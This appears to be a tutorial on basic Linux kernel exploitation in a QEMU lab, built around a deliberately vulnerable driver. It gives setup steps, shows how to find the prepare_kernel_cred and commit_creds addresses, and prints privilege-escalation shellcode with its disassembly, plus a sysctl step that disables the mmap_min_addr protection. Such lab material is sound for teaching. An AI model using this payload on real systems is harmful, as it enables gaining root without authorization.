show the basic approach in kernel pwn
host environment:
compile kernel
here choose the latest kernel (5.5.2), use tsinghua mirror to speed up
remember to check the following options on.
1 | kernel hacking -> |
1 | make nconfig |
compile busybox
remember to check the Settings -> Build static binary (no shared libs)
option on.
check the Linux System Utilities -> Support mountiong NFS file systems on Linux < 2.6.23
and Networking Utilities -> inetd
options off.
1 | make menuconfig |
prepare rootfs
1 | cd _install |
boot the kernel
1 | $ qemu-system-x86_64 -s -kernel ~/Downloads/linux-5.5.2/arch/x86_64/boot/bzImage -initrd ~/Downloads/busybox-1.31.1/rootfs.img -append "root=/dev/ram rdinit=/sbin/init" |
vulnerable kernel driver
nrd.c and makefile
1 |
|
1 | obj-m := nrd.o |
poc.c
1 |
|
details
execute chain: vuln -> prepare_kernel_cred -> commit_creds
how to get the address of the key function:
- use the
System.map
file in the root of kernel source folder1
2
3
4
5$ grep prepare_kernel_cred System.map
ffffffff8108c070 T prepare_kernel_cred
ffffffff822e6760 r __ksymtab_prepare_kernel_cred
ffffffff822fbb4b r __kstrtabns_prepare_kernel_cred
ffffffff822fbb4c r __kstrtab_prepare_kernel_cred - use /proc/kallsyms in the kernel but should remember to append nokalsr to boot the kernel
1
$ grep commit_creds /proc/kallsyms
1
$ qemu-system-x86_64 -s -kernel ~/Downloads/linux-5.5.2/arch/x86_64/boot/bzImage -initrd ~/Downloads/busybox-1.31.1/rootfs.img -append "root=/dev/ram rdinit=/sbin/init nokaslr"
- use the
how to make the payload
1
2
3
4
5# poc.s
xor %rdi, %rdi
call 0xffffffff8108c070 # prepare_kernel_cred
call 0xffffffff8108bc30 # commit_creds
ret1
2
3
4
5
6
7
8
9
10
11
12
13$ gcc poc.s -nostdlib -Ttext=0
$ objdump -d a.out
a.out: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 31 ff xor %rdi,%rdi
3: e8 68 c0 08 81 callq ffffffff8108c070 <__bss_start+0xffffffff8108a070>
8: e8 23 bc 08 81 callq ffffffff8108bc30 <__bss_start+0xffffffff81089c30>
d: c3 retqmmap_min_addr
1
2# use to allow low memory mmap
$ sysctl -w vm.mmap_min_addr="0"